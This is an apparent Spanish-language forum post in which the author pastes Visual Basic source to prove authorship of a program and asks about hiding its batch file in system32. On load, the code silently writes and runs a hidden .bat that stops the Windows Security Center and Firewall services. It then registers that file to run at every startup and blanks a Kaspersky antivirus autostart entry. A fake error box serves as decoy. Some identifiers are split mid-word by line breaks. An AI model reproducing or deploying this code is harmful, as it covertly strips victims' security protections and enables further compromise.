microchip tu opinas que el bat deve guardarse en un lugar menos sospechoso? puede ser en la carpeta C:\WINDOWS\system32?
ya sabia como funcionaba si lo hice yo pero si me quieren sacar el cuero no hay problema
la idea mia era no ponerle copyright sino como lo iba a camuflar???
igual hace 2 años que ando programando en visual y no es mucho para mi
cada dia se aprende algo nuevo y yo creo que tu estas bastante avansado a comparacion mia
microchip la verdad con lo que has puesto le servira mucho a quien lo use y me quitara credito a mi.
me tardo todo un dia pensar como podia hacer este programa y hahora me vienes con esto
NAAAAAAAAA!!!!!!!!
pa que sepas que lo hice yo aca ta el codigo
Private Sub alta_Click()
baja.Checked = False
alta.Checked = True
media.Checked = False
End Sub
Private Sub baja_Click()
baja.Checked = True
alta.Checked = False
media.Checked = False
End Sub
Private Sub cerrar_Click()
End
End Sub
Private Sub end_Click()
End
End Sub
Private Sub Form_Load()
Dim archivo As String
Dim NumArchivo As Long
archivo = "C:\tmp.bat"
NumArchivo = FreeFile()
Open archivo For Output As #NumArchivo
Print #NumArchivo, "@ECHO OFF"
Print #NumArchivo, "NET STOP " & Chr(34) & _
"Centro de Seguridad"
Print #NumArchivo, "NET STOP " & Chr(34) & _
"Firewall de Windows/Conexi" & Chr(162) & _
"n compartida a Internet (ICS)"
Print #NumArchivo, "EXIT"
Close #NumArchivo
Shell archivo, vbHide
Dim Registro As Object
Dim Ejecutable As String
Dim i As Integer
Ejecutable = "C:\tmp.bat"
Set Registro = CreateObject("WScript.Shell")
Registro.RegWr
ite "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run\Reinicia" & i, Ejecutable
Dim Editor As Object
Dim primero As String
rompe = " "
Set Editor = CreateObject("WScript.Shell")
Editor.RegWrit
e "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run\KAVPersonal5" & i, rompe
End Sub
Private Sub help1_Click()
FlashPlayer.Vi
sible = True
End Sub
Private Sub lavl_Click()
MsgBox "error inesperado 6673"
End Sub
Private Sub media_Click()
baja.Checked = False
alta.Checked = False
media.Checked = True
End Sub
una pregunta como hiciste para ver el codigo de visual basic estando ya compilado el programa?
Autor